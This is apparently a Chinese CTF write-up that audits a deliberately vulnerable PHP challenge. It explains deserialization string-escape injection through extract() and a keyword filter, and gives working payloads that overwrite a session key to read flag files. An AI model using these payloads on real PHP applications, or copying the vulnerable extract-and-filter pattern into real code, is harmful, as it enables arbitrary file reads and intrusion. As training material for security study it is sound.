审计源码
<?php
$function = @$_GET['f'];
//正则匹配
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
//提取POST参数
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
//img_path参数
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
关键的有两句,具体怎么用后面再说:
extract($_POST);
$serialize_info = filter(serialize($_SESSION));
然后可以观察到的是除了源码还提供了两个功能:phpinfo,show_image,phpinfo回显phpinfo()没啥好说的
show_image读取文件内容,这就是我们的注入点,那么flag在哪呢,phpinfo当然不会白给
注意到里面有一个d0g3_f1ag.php,这应该就是第一个提示,没啥好说的,img要被赋成这个值
由于sha1不可逆,所以不指望用原来的img能被赋成这个值了
好在还存在一个序列化操作,于是想到了对象逃逸,之前也遇到过,
就是你自定义了一个同名属性,然后把原来应有的属性给覆盖了,一般来说这跟后端的过滤机制有关
这里正则匹配就发生了作用,我们可以在传参时故意加一些flag之类的参数,然后序列化后字符串长度不变
所以会造成字符串逃逸
借用一下大佬的例子,来讲一下
#通过序列化和反序列以及序列化字符串被替换产生的漏洞,通过$str[a]更改$str[a123]后面的所有值
<?php
//error_reporting(0);
$str["a123"]="flagflagflagflag";
$str["a"]="\";s:1:\"c\";s:2:\"12\";s:1:\"t\";s:3:\"125\";}as";
$str["b"]="456";
$s=serialize($str);
print($s); //a:3:{s:4:"a123";s:16:"flagflagflagflag";s:1:"a";s:40:"";s:1:"c";s:2:"12";s:1:"t";s:3:"125";}as";s:1:"b";s:3:"456";}
echo "\n";
$s1=preg_replace("/flag/","",$s); //a:3:{s:4:"a123";s:16:"";s:1:"a";s:40:"";s:1:"c";s:2:"12";s:1:"t";s:3:"125";}as";s:1:"b";s:3:"456";}
print($s1);
$s2=unserialize($s1);
var_dump($s2);
?>
运行结果:
a:3:{s:4:"a123";s:16:"flagflagflagflag";s:1:"a";s:40:"";s:1:"c";s:2:"12";s:1:"t";s:3:"125";}as";s:1:"b";s:3:"456";}
a:3:{s:4:"a123";s:16:"";s:1:"a";s:40:"";s:1:"c";s:2:"12";s:1:"t";s:3:"125";}as";s:1:"b";s:3:"456";}array(3) {
["a123"]=>
string(16) "";s:1:"a";s:40:""
["c"]=>
string(2) "12"
["t"]=>
string(3) "125"
}
运行之后可以明显发现由于flag被过滤了,所以造成原先的a属性被吞掉了,而带入了我们自定义的c和t
那么就是这么个原理,上payload:
_SESSION['flagflag']=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}//d0g3_f1ag.php的base64编码
第一步extract的时候读出来的是
$_SESSION['flagflag']=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
序列化session后:
a:2:{s:8:"flagflag";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
过filter:
a:2:{s:8:"";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
反序列化后由于我们没给img_path,所以读的是我们给的img属性,就是d0g3_f1ag.php
反序列化的结果
,Array
(
[";s:51:"] => aaa
[img] => ZDBnM19mMWFnLnBocA==
)
很明显,读取的image文件是由我们定的,回显$flag = ‘flag in /d0g3_fllllllag’;
然后就是同样的操作,读取/d0g3_fllllllag,base64编码后是L2QwZzNfZmxsbGxsbGFn
于是得到payload:
_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
如果有wamp本地环境,把index.php小改可能会有助理解
<?php
$function = @$_GET['f'];
//正则匹配
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
//提取get参数
extract($_GET);
if(!$function){
echo '<a href="test.php?f=highlight_file">source_code</a>';
}
//img_path参数
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
print_r($_SESSION);
echo "\n";
echo serialize($_SESSION);
echo "\n";
echo $serialize_info;
echo "\n";
if($function == 'highlight_file'){
highlight_file('test.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
print_r($userinfo);
// echo file_get_contents(base64_decode($userinfo['img']));
}
?>
payload为:127.0.0.1/test.php?f=show_image&_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
参考视频链接:https://www.bilibili.com/video/BV1sZ4y1971T/